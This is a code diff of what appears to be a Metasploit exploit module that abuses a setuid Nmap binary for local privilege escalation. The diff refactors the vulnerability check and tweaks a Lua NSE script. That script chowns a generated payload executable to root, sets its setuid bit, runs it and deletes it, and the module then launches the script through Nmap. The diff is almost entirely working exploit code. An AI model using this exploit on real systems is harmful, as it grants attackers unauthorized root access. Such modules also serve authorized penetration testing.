@@ -51,12 +51,11 @@ def initialize(info={})
51
51
end
52
52
53
53
def check
54
- stat = session . fs . file . stat ( datastore [ "Nmap" ] )
55
- if stat and stat . file? and stat . setuid?
56
- vprint_good ( "#{ stat . prettymode } #{ datastore [ "Nmap" ] } " )
57
- return CheckCode ::Vulnerable
54
+ if setuid? ( datastore [ 'Nmap' ] )
55
+ vprint_good ( "#{ datastore [ 'Nmap' ] } is setuid" )
56
+ CheckCode ::Vulnerable
58
57
end
59
- return CheckCode ::Safe
58
+ CheckCode ::Safe
60
59
end
61
60
62
61
def exploit
@@ -69,16 +68,16 @@ def exploit
69
68
write_file ( exe_file , generate_payload_exe )
70
69
evil_lua = %Q{
71
70
os.execute("chown root:root #{ exe_file } ");
72
- os.execute("chmod 6777 #{ exe_file } ");
71
+ os.execute("chmod 6700 #{ exe_file } ");
73
72
os.execute("#{ exe_file } &");
74
- os.execute("rm #{ exe_file } ");
73
+ os.execute("rm -f #{ exe_file } ");
75
74
}
76
75
end
77
76
lua_file = "#{ datastore [ "WritableDir" ] } /#{ rand_text_alpha ( 8 ) } .nse"
78
77
print_status ( "Dropping lua #{ lua_file } " )
79
78
write_file ( lua_file , evil_lua )
80
79
81
- print_status ( "running " )
80
+ print_status ( "Running #{ lua_file } with Nmap " )
82
81
83
82
scriptname = lua_file
84
83
if ( lua_file [ 0 , 1 ] == "/" )
@@ -91,7 +90,7 @@ def exploit
91
90
# Versions before 4.75 (August 2008) will not run scripts without a port scan
92
91
cmd_exec "#{ datastore [ "Nmap" ] } --script #{ scriptname } -p80 localhost #{ datastore [ "ExtraArgs" ] } "
93
92
ensure
94
- cmd_exec "rm -f #{ lua_file } #{ exe_file } "
93
+ rm_f ( lua_file , exe_file )
95
94
end
96
95
97
96
end
0 commit comments